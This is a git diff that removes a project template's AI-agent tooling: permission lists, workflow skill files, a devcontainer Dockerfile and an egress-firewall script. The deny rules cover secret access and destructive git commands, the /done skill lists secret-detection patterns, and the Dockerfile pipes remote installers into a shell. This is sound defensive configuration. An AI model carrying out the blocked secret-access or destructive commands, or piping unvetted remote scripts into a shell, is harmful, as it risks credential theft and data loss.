- "Bash(ls *)", "Bash(cat *)", "Bash(find *)", "Bash(grep *)",
- "Bash(head *)", "Bash(tail *)", "Bash(wc *)", "Bash(tree *)",
- "Bash(pwd *)", "Bash(which *)", "Bash(echo *)", "Bash(dir *)",
- "Bash(sleep *)", "Bash(sort *)", "Bash(uniq *)", "Bash(diff *)",
- "WebSearch"
- ],
- "deny": [
- "Bash(gh secret *)", "Bash(gh auth *)", "Bash(gh ssh-key *)", "Bash(gh gpg-key *)",
- "Bash(git push --force *)", "Bash(git push -f *)",
- "Bash(git clean *)", "Bash(git config *)",
- "Bash(*git remote add *)", "Bash(*git remote set-url *)", "Bash(*git remote remove *)",
- "Bash(*git remote rename *)", "Bash(*git remote set-head *)",
- "Bash(uv self *)"
- ],
- "ask": [
- "Bash(python *)", "Bash(uv run python *)",
- "Bash(docker *)", "Bash(docker-compose *)", "Bash(terraform *)",
- "Bash(gh pr merge *)", "Bash(gh pr reopen *)", "Bash(gh pr close *)", "Bash(gh pr comment *)",
- "Bash(gh pr review *)", "Bash(gh pr ready *)", "Bash(gh workflow run *)",
- "Bash(gh workflow enable *)", "Bash(gh workflow disable *)",
- "Bash(gh api *)",
- "Bash(gh issue create *)", "Bash(gh issue comment *)",
- "Bash(gh issue close *)", "Bash(gh issue edit *)",
- "Bash(git push *)",
- "Bash(git init *)", "Bash(git clone *)",
- "Bash(uv remove *)", "Bash(uv cache *)", "Bash(uv init *)",
- "WebFetch"
- ]
- },
- "hooks": {
- "PreToolUse": [
- {
- "matcher": "Bash",
- "hooks": [{"type": "command", "command": "\"$CLAUDE_PROJECT_DIR\"/.claude/hooks/dangerous-actions-blocker.sh"}]
- }
- ],
- "PostToolUse": [
- {
- "matcher": "Edit|Write",
- "hooks": [
- {"type": "command", "command": "\"$CLAUDE_PROJECT_DIR\"/.claude/hooks/auto-format.sh"}
- ]
- }
- ]
- },
- "enabledPlugins": {
- "security-guidance@claude-code-plugins": true
- }
-}
diff --git a/.claude/settings.local.json.example b/.claude/settings.local.json.example
deleted file mode 100644
index 8df1fed..0000000
--- a/.claude/settings.local.json.example
+++ /dev/null
@@ -1,22 +0,0 @@
-{
- "__comment": "Copy to .claude/settings.local.json for machine-specific overrides (gitignored).",
- "__usage": [
- "cp .claude/settings.local.json.example .claude/settings.local.json",
- "Precedence: global < project settings.json < settings.local.json",
- "Use this for: local hook overrides, extra permissions, MCP server configs"
- ],
- "__note": "In devcontainers, settings.json is the single baseline for all environments.",
-
- "hooks": {
- "PreToolUse": [],
- "PostToolUse": []
- },
-
- "permissions": {
- "allow": [],
- "deny": [],
- "ask": []
- },
-
- "mcpServers": {}
-}
diff --git a/.claude/skills/design/SKILL.md b/.claude/skills/design/SKILL.md
deleted file mode 100644
index 30d2805..0000000
--- a/.claude/skills/design/SKILL.md
+++ /dev/null
@@ -1,87 +0,0 @@
----
-name: design
-description: Crystallize brainstorming into a structured implementation plan. Reads DECISIONS.md for conflicts, auto-classifies scope (Q/S/P), and outputs an actionable plan.
-argument-hint: "[topic or summary of what to plan]"
-allowed-tools: Read, Glob, Grep, Bash, Edit
----
-
-# Design
-
-Crystallize brainstorming into a structured implementation plan. Use at the start or end of brainstorming to formalize an approach.
-
-## Steps
-
-### 1. Check for Conflicts
-
-- Read `docs/DECISIONS.md` -- scan for entries that conflict with or overlap the proposed work
-- Read `docs/IMPLEMENTATION_PLAN.md` -- check for active phases or overlapping planned work
-- If conflicts found: present the contradiction to the user before proceeding
-
-### 2. Auto-Classify Scope
-
-This is a planning-time estimate based on conversation context. `/done` will later auto-detect actual scope from workspace signals (branch, files changed, diff size, plan state) at completion time.
-
-| Scope | Criteria |
-|-------|----------|
-| **Q** (Quick) | Trivial, obvious, single-location change (typo, config tweak, one-liner) |
-| **S** (Standard) | Fits in one session, clear scope (new feature, multi-file refactor, investigation) |
-| **P** (Project) | Needs phased execution across sessions (multi-phase feature, architecture change) |
-
-### 3. Output Structured Plan
-
-The plan format varies by scope:
-
-#### Q (Quick)
-```
-## Plan (Quick)
-**Fix**:
-**File**:
-**Recommendation**: Proceed directly -- this is a single-location change.
-```
-
-#### S (Standard)
-```
-## Plan (Standard)
-**Scope**: <1-2 sentence summary>
-**Branch**: `/`
-
-### Files to Modify
-- --
-
-### Approach
-
-
-### Test Strategy
-
-
-### Risks
--
-```
-
-#### P (Project)
-```
-## Plan (Project)
-**Scope**: <1-2 sentence summary>
-
-### Phase 1:
-**Acceptance Criteria**:
-- [ ]
-**Files**:
-**Approach**:
-
-### Phase 2:
-...
-```
-
-For P-scoped plans: write the phase breakdown to `docs/IMPLEMENTATION_PLAN.md` using the same structure shown above (phase name, acceptance criteria, files, approach). The `.claude/agents/implementation-tracker.md` agent validates this format.
-
-### 4. Decision Candidates
-
-List any decisions that should be recorded in `docs/DECISIONS.md`:
-- Architectural choices made during planning
-- Alternatives considered and rejected
-- Constraints or assumptions
-
-### 5. User Confirmation
-
-Present the plan and wait for user approval before implementation begins.
diff --git a/.claude/skills/done/SKILL.md b/.claude/skills/done/SKILL.md
deleted file mode 100644
index 8ac0758..0000000
--- a/.claude/skills/done/SKILL.md
+++ /dev/null
@@ -1,126 +0,0 @@
----
-name: done
-description: Universal completion command. Auto-detects scope (Q/S/P), validates code quality, ships/lands/delivers changes, and updates documentation.
-allowed-tools: Read, Glob, Grep, Bash, Edit, Write
-disable-model-invocation: true
----
-
-# Done
-
-Universal completion command. Call this when work is finished to validate, ship, and document.
-
-## Phase 1: Detect Scope
-
-Determine scope from workspace signals:
-
-| Signal | Q (ship) | S (land) | P (deliver) |
-|--------|----------|----------|-------------|
-| Branch | main/master | feature branch | feature branch |
-| Files changed | <=3 | >3 | any |
-| IMPLEMENTATION_PLAN.md | no unchecked phases | no unchecked phases | has unchecked phases |
-| Diff size | <100 lines | >=100 lines | any |
-
-**Decision logic** (first match wins):
-1. If `docs/IMPLEMENTATION_PLAN.md` has unchecked phases -> **P** (deliver)
-2. If on a feature branch -> **S** (land)
-3. If on main/master AND small scope (<=3 files, <100 lines changed) -> **Q** (ship)
-4. If on main/master AND large scope -> warn user, suggest creating a feature branch
-
-**Always report the detected scope and accept user override.**
-
-## Phase 2: Validate
-
-Absorbs the former `/ship` checklist. Three tiers of checks:
-
-### Blockers (must ALL pass -- stop if any fail)
-
-1. **No secrets in codebase**
- - Search for: `sk-`, `AKIA`, `ghp_`, `password=`, `secret=`, `-----BEGIN.*PRIVATE KEY`
- - Zero matches in tracked files (exclude `.env.example`)
-
-2. **No debug code**
- - Search for: `breakpoint()`, `pdb.set_trace()` in non-test source files
- - These are hard blockers -- any match stops the process
-
-3. **Pre-commit hygiene**
- - Search for leftover `TODO`, `FIXME`, `HACK` markers in changed files
- - List all found with file:line for review
-
-### High Priority (run via agents in parallel)
-
-Launch two agents simultaneously:
-
-| Agent | File | What it checks |
-|-------|------|---------------|
-| Code Quality | `.claude/agents/code-quality-validator.md` | Lint (`ruff check`), format (`ruff format --check`), type check (`pyright`) |
-| Test Coverage | `.claude/agents/test-coverage-validator.md` | All tests pass, coverage report |
-
-All agents use `subagent_type: "general-purpose"`.
-
-### Recommended
-
-1. **Git history** -- check for WIP/fixup commits that should be squashed
-2. **Branch up to date** -- check if behind base branch
-
-### Skip Conditions
-
-- If no `.py` files are changed: skip Python tooling (lint, format, types, tests)
-- Report skipped checks and why
-
-### Blocker Found
-
-If any Blocker fails: **STOP**. Report all findings and do not proceed to Phase 3.
-
-## Phase 3: Ship / Land / Deliver
-
-Actions depend on detected scope:
-
-### Q (Ship)
-
-1. `git add` changed files
-2. `git commit` with descriptive message
-3. `git push` to main/master
-4. `gh run watch` to verify CI passes
-
-Note: If a direct push to main fails due to branch protection, re-detect scope as **S (Land)** and follow the S path instead.
-
-### S (Land)
-
-1. `git add` changed files
-2. `git commit` with descriptive message
-3. `git push -u origin `
-4. Create PR using `.claude/agents/pr-writer.md` agent for description
-5. `gh pr checks --watch` to verify CI
-6. When automated reviewer comments arrive, use `.claude/agents/review-responder.md` to triage and fix
-7. Run `.claude/agents/code-reviewer.md` for independent code review
-8. Fix Critical issues before merge
-
-### P (Deliver)
-
-All of S (Land), plus:
-
-1. Verify acceptance criteria using `.claude/agents/acceptance-criteria-validator.md`
-2. Update `docs/IMPLEMENTATION_PLAN.md` using `.claude/agents/implementation-tracker.md`
-3. Write phase handoff note (2-5 sentences: what completed, deviations, risks, dependencies, intentional debt)
-4. If this is the final phase: version bump and changelog consolidation
-
-## Phase 4: Document
-
-### Q (Ship)
-- Update `docs/CHANGELOG.md` only if the change is user-facing
-
-### S (Land) and P (Deliver)
-- Always update `docs/CHANGELOG.md` with user-facing changes
-- Always update `docs/DECISIONS.md` with decisions made during the work
-- Use `.claude/agents/docs-updater.md` to verify documentation is complete
-
-## Failure Protocol
-
-| Failure | Action |
-|---------|--------|
-| Validation (Phase 2) fails | Fix issues, re-run from Phase 2 |
-| CI (Phase 3) fails | Fix, push, re-run from Phase 3 CI step |
-| CI fails on pre-existing issue | Document separately, do not block current work |
-| Code review flags architectural concern | Pause. Evaluate rework vs. follow-up issue |
-| Acceptance criteria (P) reveals regression | File as separate issue. Fix only if direct regression |
-| Multiple steps fail repeatedly | Stop. Reassess scope -- may need to split work |
diff --git a/.claude/skills/landed/SKILL.md b/.claude/skills/landed/SKILL.md
deleted file mode 100644
index 225fb37..0000000
--- a/.claude/skills/landed/SKILL.md
+++ /dev/null
@@ -1,116 +0,0 @@
----
-name: landed
-description: Post-merge lifecycle. Verifies merge CI, optional deployment checks, cleans up branches, and prepares next phase.
-allowed-tools: Bash, Read, Grep, Glob
-disable-model-invocation: true
----
-
-# Landed
-
-Post-merge lifecycle command. Run this after a PR is merged to verify CI, check deployments, clean up branches, and identify next steps.
-
-## Step 1: Detect Merged PR
-
-Identify the PR that was just merged.
-
-1. Run `git branch --show-current` to get the current branch
-2. If already on master:
- - Check `git reflog --oneline -20` for the previous branch name
- - If no branch found, ask the user for the PR number or branch name
-3. Look up the merged PR:
-
- ```bash
- gh pr list --state merged --head --json number,title,mergeCommit -L 1
- ```
-
-4. If no PR found: ask the user for the PR number directly
-5. Display: PR number, title, merge commit SHA
-
-**Pre-check**: Run `gh auth status` early. If not authenticated, stop and instruct the user to run `gh auth login`.
-
-## Step 2: Verify Merge CI
-
-Check that CI passed on the merge commit.
-
-1. List recent runs on master:
-
- ```bash
- gh run list --branch master -L 20 --json status,conclusion,databaseId,name,headSha
- ```
-
-2. Filter to runs whose `headSha` matches the merge commit SHA
-3. Evaluate all matched runs:
- - **in_progress**: watch still-running run(s) with `gh run watch `
- - **success**: all matched runs must be `completed` with `conclusion=success` to proceed
- - **failure**: show details via `gh run view --log-failed` for each failing run
- - Ask: "Is this a recurring issue or specific to this PR?"
- - If recurring: suggest adding to `/done` validation or pre-merge CI
- - If specific: diagnose inline from the failed log output
-
-## Step 3: Deployment Verification (Configurable)
-
-Check for deployment status if configured.
-
-1. Check if `.claude/deploy.json` exists
-2. If it exists:
- - Read the file and iterate over configured environments
- - For each environment:
- - Watch the deployment workflow: `gh run list --workflow --commit --json status,conclusion,databaseId`
- - If `health_check` URL is configured, fetch it and verify a 200 response
- - Report per-environment status (success/failure/in_progress)
-3. If no config file:
- - Ask the user: "Is there a deployment to verify? (skip if none)"
- - If user says no or skips: mark as "skipped"
-
-## Step 4: Branch Cleanup
-
-Switch to master and clean up the feature branch.
-
-1. `git checkout master && git pull --rebase`
-2. Delete local branch: `git branch -d ` (safe delete, will fail if unmerged)
-3. Check if remote branch still exists: `git ls-remote --heads origin `
-4. If remote branch exists:
- - Ask the user before deleting: "Delete remote branch origin/?"
- - If approved: `git push origin --delete `
- - If denied: note "kept" in summary
-5. If remote branch already deleted (e.g., GitHub auto-delete): note "already deleted by GitHub" in summary
-
-**Edge case**: If already on master and the branch was already deleted locally, skip local deletion gracefully.
-
-## Step 5: Next Phase (P-scope Only)
-
-Check if there is more planned work.
-
-1. Read `docs/IMPLEMENTATION_PLAN.md`
-2. If the file exists, check the "Quick Status Summary" table near the top for any phase whose status is not "Complete":
- - Identify the next incomplete phase
- - Summarize what it covers and any noted dependencies
-3. If all phases show "Complete" or no plan file exists: skip this step
-
-## Step 6: Summary Report
-
-Output a summary of everything that happened:
-
-```text
-# Landed
-
-PR: #N "" merged into master
-CI: PASS (run #ID) | FAIL (run #ID) | WATCHING
-Deploy: verified / skipped / failed
-
-## Cleanup
-- Deleted local branch:
-- Deleted remote branch: [or "kept" or "already deleted by GitHub"]
-- Now on: master (up to date)
-
-## Next Steps
-- [next phase summary / "Ready for new work" / "Project complete"]
-```
-
-## Edge Cases
-
-- **Already on master**: check `git reflog` for previous branch, or ask the user
-- **PR not found via branch name**: ask the user for the PR number
-- **Remote branch already deleted**: GitHub auto-delete is common; handle gracefully
-- **gh not authenticated**: check `gh auth status` early and stop with instructions
-- **No CI runs found**: report "no CI runs found for merge commit" and proceed
diff --git a/.claude/skills/sync/SKILL.md b/.claude/skills/sync/SKILL.md
deleted file mode 100644
index 1261b01..0000000
--- a/.claude/skills/sync/SKILL.md
+++ /dev/null
@@ -1,55 +0,0 @@
----
-name: sync
-description: Pre-flight workspace sync. Run before starting any work to check branch state, remote tracking, dirty files, and recent commits.
-allowed-tools: Read, Bash, Grep
-disable-model-invocation: true
----
-
-# Sync
-
-Pre-flight workspace sync. Run this before starting any work.
-
-## Steps
-
-1. **Fetch remote refs**
- - Run `git fetch origin`
-
-2. **Check workspace state**
- - Run `git status` to see dirty files, staged changes, untracked files
- - Run `git branch -vv` to see current branch, tracking info, ahead/behind counts
-
-3. **Auto-reset to master if nothing is blocking**
-
- If ALL of the following are true, automatically run `git checkout master && git pull --rebase` without asking:
- - Working tree is clean (no staged, unstaged, or untracked changes that matter)
- - Current branch is NOT master (already on a feature branch that can be left)
- - The feature branch has no unpushed commits (ahead 0, or branch was already merged)
-
- If any blocker exists, do NOT auto-reset. Instead report the blocker and ask what to do:
- - **Dirty working tree**: list the files and ask whether to stash, commit, or discard
- - **Unpushed commits on current branch**: warn and ask whether to push first or switch anyway
- - **Already on master**: just `git pull --rebase` to update
-
-4. **Show recent context**
- - Run `git log --oneline -3` to show the last 3 commits (after any branch switch)
-
-5. **Output structured report**
-
-```
-# Workspace Sync
-
-Branch: (tracking: /)
-Status:
-Remote:
-
-## Actions Taken
--
-
-## Blockers (if any)
--
-
-## Recent Commits
--
--
--
-```
diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile
deleted file mode 100644
index 7129ade..0000000
--- a/.devcontainer/Dockerfile
+++ /dev/null
@@ -1,92 +0,0 @@
-FROM python:{{python_version}}-bookworm
-
-ARG TZ
-ENV TZ="$TZ"
-
-# System dependencies
-RUN apt-get update && apt-get install -y --no-install-recommends \
- less \
- git \
- curl \
- procps \
- sudo \
- fzf \
- zsh \
- man-db \
- unzip \
- gnupg2 \
- gh \
- nano \
- vim \
- jq \
- iptables \
- ipset \
- iproute2 \
- dnsutils \
- aggregate \
- && apt-get clean && rm -rf /var/lib/apt/lists/*
-
-# Use iptables-legacy backend (nftables doesn't work reliably in containers)
-RUN update-alternatives --set iptables /usr/sbin/iptables-legacy && \
- update-alternatives --set ip6tables /usr/sbin/ip6tables-legacy
-
-# Create non-root user
-ARG USERNAME=vscode
-ARG USER_UID=1000
-ARG USER_GID=$USER_UID
-RUN groupadd --gid $USER_GID $USERNAME \
- && useradd --uid $USER_UID --gid $USER_GID -m $USERNAME -s /usr/bin/zsh
-
-# Install uv (Python package manager)
-COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /usr/local/bin/
-
-# Install git-delta for better diffs
-ARG GIT_DELTA_VERSION=0.18.2
-RUN ARCH=$(dpkg --print-architecture) && \
- curl -fsSL -o "git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" \
- "https://github.com/dandavison/delta/releases/download/${GIT_DELTA_VERSION}/git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" && \
- dpkg -i "git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb" && \
- rm "git-delta_${GIT_DELTA_VERSION}_${ARCH}.deb"
-
-# Persist command history
-RUN mkdir /commandhistory && \
- touch /commandhistory/.bash_history && \
- chown -R $USERNAME /commandhistory
-
-# Set environment variables
-ENV DEVCONTAINER=true
-ENV PATH=/home/vscode/.local/bin:$PATH
-ENV SHELL=/bin/zsh
-ENV EDITOR=nano
-ENV VISUAL=nano
-
-# Create workspace and config directories
-RUN mkdir -p /workspace /home/$USERNAME/.claude && \
- chown -R $USERNAME:$USERNAME /workspace /home/$USERNAME/.claude
-
-WORKDIR /workspace
-
-# Switch to non-root user for tool installations
-USER $USERNAME
-
-# Install zsh-in-docker (theme + plugins)
-ARG ZSH_IN_DOCKER_VERSION=1.2.0
-RUN sh -c "$(curl -fsSL https://github.com/deluan/zsh-in-docker/releases/download/v${ZSH_IN_DOCKER_VERSION}/zsh-in-docker.sh)" -- \
- -p git \
- -p fzf \
- -a "source /usr/share/doc/fzf/examples/key-bindings.zsh" \
- -a "source /usr/share/doc/fzf/examples/completion.zsh" \
- -a "export PROMPT_COMMAND='history -a' && export HISTFILE=/commandhistory/.bash_history" \
- -x
-
-# Install Claude Code CLI (native installer)
-ENV CLAUDE_INSTALL_METHOD=native
-RUN curl -fsSL https://claude.ai/install.sh | bash
-
-# Copy and configure firewall script (restricted sudo -- firewall only)
-COPY init-firewall.sh /usr/local/bin/
-USER root
-RUN chmod +x /usr/local/bin/init-firewall.sh && \
- echo "$USERNAME ALL=(root) NOPASSWD: /usr/local/bin/init-firewall.sh" > /etc/sudoers.d/$USERNAME-firewall && \
- chmod 0440 /etc/sudoers.d/$USERNAME-firewall
-USER $USERNAME
diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json
deleted file mode 100644
index bb8250c..0000000
--- a/.devcontainer/devcontainer.json
+++ /dev/null
@@ -1,56 +0,0 @@
-{
- "name": "{{project_name}} Dev",
- "build": {
- "dockerfile": "Dockerfile",
- "args": {
- "TZ": "${localEnv:TZ:America/Los_Angeles}",
- "GIT_DELTA_VERSION": "0.18.2",
- "ZSH_IN_DOCKER_VERSION": "1.2.0"
- }
- },
- "runArgs": [
- "--cap-add=NET_ADMIN",
- "--cap-add=NET_RAW"
- ],
- "customizations": {
- "vscode": {
- "extensions": [
- "ms-python.python",
- "ms-python.vscode-pylance",
- "charliermarsh.ruff",
- "ms-python.debugpy",
- "eamodio.gitlens",
- "anthropic.claude-code"
- ],
- "settings": {
- "python.defaultInterpreterPath": "/workspace/.venv/bin/python",
- "editor.formatOnSave": true,
- "editor.defaultFormatter": "charliermarsh.ruff",
- "terminal.integrated.defaultProfile.linux": "zsh",
- "terminal.integrated.profiles.linux": {
- "bash": {
- "path": "bash",
- "icon": "terminal-bash"
- },
- "zsh": {
- "path": "zsh"
- }
- }
- }
- }
- },
- "remoteUser": "vscode",
- "mounts": [
- "source={{project_name}}-bashhistory-${devcontainerId},target=/commandhistory,type=volume",
- "source={{project_name}}-claude-config-${devcontainerId},target=/home/vscode/.claude,type=volume"
- ],
- "containerEnv": {
- "CLAUDE_CONFIG_DIR": "/home/vscode/.claude",
- "POWERLEVEL9K_DISABLE_GITSTATUS": "true"
- },
- "workspaceMount": "source=${localWorkspaceFolder},target=/workspace,type=bind,consistency=delegated",
- "workspaceFolder": "/workspace",
- "onCreateCommand": "bash -c 'if ! grep -q \"{{project_name}}\" pyproject.toml 2>/dev/null; then uv sync --all-packages --group dev; fi'",
- "postStartCommand": "sudo /usr/local/bin/init-firewall.sh",
- "waitFor": "postStartCommand"
-}
diff --git a/.devcontainer/init-firewall.sh b/.devcontainer/init-firewall.sh
deleted file mode 100644
index c542349..0000000
--- a/.devcontainer/init-firewall.sh
+++ /dev/null
@@ -1,208 +0,0 @@
-#!/bin/bash
-set -euo pipefail
-IFS=$'\n\t'
-
-# Network security firewall for devcontainer.
-# Restricts egress to: PyPI, GitHub, Anthropic/Claude, VS Code, uv/Astral,
-# plus any domains from WebFetch(domain:...) permission patterns.
-# Uses ipset with aggregated CIDR ranges for reliable filtering.
-
-echo "iptables version: $(iptables --version)"
-if iptables_path="$(command -v iptables 2>/dev/null)"; then
- echo "iptables backend: $(readlink -f "$iptables_path")"
-else
- echo "iptables backend: iptables not found"
-fi
-
-if ! iptables -L -n >/dev/null 2>&1; then
- echo "ERROR: iptables not functional (missing kernel support or capabilities)"
- echo "Skipping firewall setup - container will run without network restrictions"
- exit 0
-fi
-
-# 1. Extract Docker DNS info BEFORE any flushing
-DOCKER_DNS_RULES=$(iptables-save -t nat | grep "127\.0\.0\.11" || true)
-
-# Flush existing rules and delete existing ipsets
-iptables -F
-iptables -X 2>/dev/null || true
-iptables -t nat -F
-iptables -t nat -X 2>/dev/null || true
-iptables -t mangle -F
-iptables -t mangle -X 2>/dev/null || true
-ipset destroy allowed-domains 2>/dev/null || true
-
-# 2. Restore Docker DNS resolution
-if [ -n "$DOCKER_DNS_RULES" ]; then
- echo "Restoring Docker DNS rules..."
- iptables -t nat -N DOCKER_OUTPUT 2>/dev/null || true
- iptables -t nat -N DOCKER_POSTROUTING 2>/dev/null || true
- while IFS= read -r rule; do
- [ -z "$rule" ] && continue
- [[ "$rule" =~ ^# ]] && continue
- # shellcheck disable=SC2086
- iptables -t nat $rule || echo "WARNING: Failed to restore rule: $rule"
- done <<< "$DOCKER_DNS_RULES"
-else
- echo "No Docker DNS rules to restore"
-fi
-
-# Allow DNS and localhost before any restrictions
-iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
-iptables -A INPUT -p udp --sport 53 -j ACCEPT
-iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT
-iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
-iptables -A INPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
-iptables -A INPUT -i lo -j ACCEPT
-iptables -A OUTPUT -o lo -j ACCEPT
-
-# Create ipset with CIDR support
-ipset create allowed-domains hash:net
-
-# --- GitHub IP ranges (aggregated) ---
-echo "Fetching GitHub IP ranges..."
-gh_ranges=$(curl -s --connect-timeout 10 --max-time 30 https://api.github.com/meta)
-if [ -z "$gh_ranges" ]; then
- echo "ERROR: Failed to fetch GitHub IP ranges"
- exit 1
-fi
-
-if ! echo "$gh_ranges" | jq -e '.web and .api and .git' >/dev/null; then
- echo "ERROR: GitHub API response missing required fields"
- exit 1
-fi
-
-echo "Processing GitHub IPs..."
-while read -r cidr; do
- if [[ ! "$cidr" =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/[0-9]{1,2}$ ]]; then
- echo "ERROR: Invalid CIDR range from GitHub meta: $cidr"
- exit 1
- fi
- ipset add allowed-domains "$cidr"
-done < <(echo "$gh_ranges" | jq -r '(.web + .api + .git)[]' | aggregate -q)
-
-# --- Resolve and add individual domains ---
-for domain in \
- "pypi.org" \
- "files.pythonhosted.org" \
- "astral.sh" \
- "claude.ai" \
- "api.anthropic.com" \
- "sentry.io" \
- "statsig.anthropic.com" \
- "statsig.com" \
- "marketplace.visualstudio.com" \
- "vscode.blob.core.windows.net" \
- "update.code.visualstudio.com"; do
- echo "Resolving $domain..."
- ips=$(dig +noall +answer A "$domain" | awk '$4 == "A" {print $5}')
- if [ -z "$ips" ]; then
- echo "WARNING: Failed to resolve $domain (skipping)"
- continue
- fi
-
- while read -r ip; do
- if [[ ! "$ip" =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
- echo "WARNING: Invalid IP from DNS for $domain: $ip (skipping)"
- continue
- fi
- ipset add allowed-domains "$ip" 2>/dev/null || true
- done < <(echo "$ips")
-done
-
-# --- Extract domains from WebFetch permission settings ---
-extract_webfetch_domains() {
- local file="$1"
- [ -f "$file" ] || return 0
- jq -r '
- [(.permissions.allow // []), (.permissions.ask // [])] | add
- | .[]
- | select(startswith("WebFetch(domain:"))
- | sub("^WebFetch\\(domain:"; "") | sub("\\)$"; "")
- ' "$file" 2>/dev/null || true
-}
-
-SETTINGS_DIR="/workspace/.claude"
-WEBFETCH_DOMAINS=""
-for settings_file in "$SETTINGS_DIR/settings.json" "$SETTINGS_DIR/settings.local.json"; do
- if [ -f "$settings_file" ]; then
- echo "Scanning $settings_file for WebFetch domains..."
- WEBFETCH_DOMAINS="$WEBFETCH_DOMAINS $(extract_webfetch_domains "$settings_file")"
- fi
-done
-
-UNIQUE_DOMAINS=$(printf '%s\n' "$WEBFETCH_DOMAINS" | tr ' ' '\n' | sed '/^$/d' | sort -u)
-if [ -n "$UNIQUE_DOMAINS" ]; then
- while read -r domain; do
- if [[ "$domain" == \** ]]; then
- echo "WARNING: Wildcard domain '$domain' cannot be resolved to IPs (skipping)"
- continue
- fi
- echo "Resolving WebFetch domain: $domain..."
- ips=$(dig +noall +answer A "$domain" | awk '$4 == "A" {print $5}')
- if [ -z "$ips" ]; then
- echo "WARNING: Failed to resolve $domain (skipping)"
- continue
- fi
- while read -r ip; do
- if [[ ! "$ip" =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
- echo "WARNING: Invalid IP from DNS for $domain: $ip (skipping)"
- continue
- fi
- ipset add allowed-domains "$ip" 2>/dev/null || true
- done < <(echo "$ips")
- done <<< "$UNIQUE_DOMAINS"
-fi
-
-# --- Host network detection ---
-HOST_IP=$(ip route | grep default | cut -d" " -f3)
-if [ -z "$HOST_IP" ]; then
- echo "ERROR: Failed to detect host IP"
- exit 1
-fi
-
-HOST_NETWORK=$(echo "$HOST_IP" | sed "s/\.[0-9]*$/.0\/24/")
-echo "Host network detected as: $HOST_NETWORK"
-
-iptables -A INPUT -s "$HOST_NETWORK" -j ACCEPT
-iptables -A OUTPUT -d "$HOST_NETWORK" -j ACCEPT
-
-# Block all IPv6 traffic (firewall is IPv4-only)
-ip6tables -P INPUT DROP 2>/dev/null || true
-ip6tables -P FORWARD DROP 2>/dev/null || true
-ip6tables -P OUTPUT DROP 2>/dev/null || true
-ip6tables -A INPUT -i lo -j ACCEPT 2>/dev/null || true
-ip6tables -A OUTPUT -o lo -j ACCEPT 2>/dev/null || true
-
-# Allow established connections
-iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-
-# Allow traffic to whitelisted domains
-iptables -A OUTPUT -m set --match-set allowed-domains dst -j ACCEPT
-
-# Reject all other outbound traffic (immediate feedback)
-iptables -A OUTPUT -j REJECT --reject-with icmp-admin-prohibited
-
-# Set default policies AFTER all ACCEPT rules (prevents lockout on partial failure)
-iptables -P INPUT DROP
-iptables -P FORWARD DROP
-iptables -P OUTPUT DROP
-
-echo "Firewall configuration complete"
-
-# --- Verification ---
-echo "Verifying firewall rules..."
-if curl --connect-timeout 5 https://example.com >/dev/null 2>&1; then
- echo "ERROR: Firewall verification failed - was able to reach https://example.com"
- exit 1
-else
- echo "PASS: example.com blocked as expected"
-fi
-
-if ! curl --connect-timeout 5 https://api.github.com/zen >/dev/null 2>&1; then
- echo "ERROR: Firewall verification failed - unable to reach https://api.github.com"
- exit 1
-else
- echo "PASS: api.github.com reachable as expected"
-fi
diff --git a/.dockerignore b/.dockerignore
deleted file mode 100644
index e38f35f..0000000
--- a/.dockerignore
+++ /dev/null
@@ -1,22 +0,0 @@
-.git
-.github
-.devcontainer
-.venv
-venv
-__pycache__
-*.py[cod]
-*.egg-info
-dist
-build
-.pytest_cache
-.mypy_cache
-.pyright
-htmlcov
-.coverage
-.env
-.env.*
-*.md
-!README.md
-docs/
-tests/
-experiments/
diff --git a/.github/workflows/template-sync.yml b/.github/workflows/template-sync.yml
index 7c58e71..02982c3 100644
--- a/.github/workflows/template-sync.yml
+++ b/.github/workflows/template-sync.yml
@@ -59,7 +59,7 @@ jobs:
run: |
# Paths managed by the template (synced from upstream)
# Defined once here; reused in the apply step via GITHUB_OUTPUT
- TEMPLATE_PATHS=".claude/agents/ .claude/commands/ .claude/hooks/ .claude/rules/ .claude/skills/ .devcontainer/ .github/workflows/ docs/DEVELOPMENT_PROCESS.md"
+ TEMPLATE_PATHS=".github/workflows/ scripts/"
echo "template_paths=${TEMPLATE_PATHS}" >> "$GITHUB_OUTPUT"
# Get changed files between local and upstream
@@ -156,7 +156,8 @@ jobs:
### What to review
- Check if any synced files conflict with project-specific customizations
- - Template-managed paths: `.claude/`, `.devcontainer/`, `.github/workflows/`, `docs/DEVELOPMENT_PROCESS.md`
+ - Template-managed paths: `.github/workflows/`, `scripts/`
+ - `.claude/` is managed by `pyclaude-forge`, `.devcontainer/` by `claude-code-devcontainer`
- Project-specific files (`apps/`, `libs/`, `tests/`, `pyproject.toml`, `README.md`) are NOT touched
### How to resolve conflicts
diff --git a/.gitignore b/.gitignore
index a995a33..845ba26 100644
--- a/.gitignore
+++ b/.gitignore
@@ -29,6 +29,7 @@ uv.lock
.coverage
htmlcov/
.mypy_cache/
+.ruff_cache/
# Type checking
.pyright/
@@ -48,6 +49,10 @@ Thumbs.db
.claude/deploy.json
.claude/hooks/*.log
CLAUDE.local.md
+.agents/
+
+# Temporary directories
+.tmp_*/
# Distribution
*.tar.gz
diff --git a/CLAUDE.md b/CLAUDE.md
index ed96944..5b277eb 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -1,22 +1,5 @@
# CLAUDE.md
-## Development Process
-
-Use `/sync` before starting work, `/design` to formalize a plan, `/done` when finished, and `/landed` after the PR merges. `/design` estimates scope (Q/S/P) during planning; `/done` auto-detects actual scope at completion based on workspace signals. Before creating any plan, read `docs/DEVELOPMENT_PROCESS.md` first.
-
-## Security
-
-Two-layer defense against data exfiltration:
-
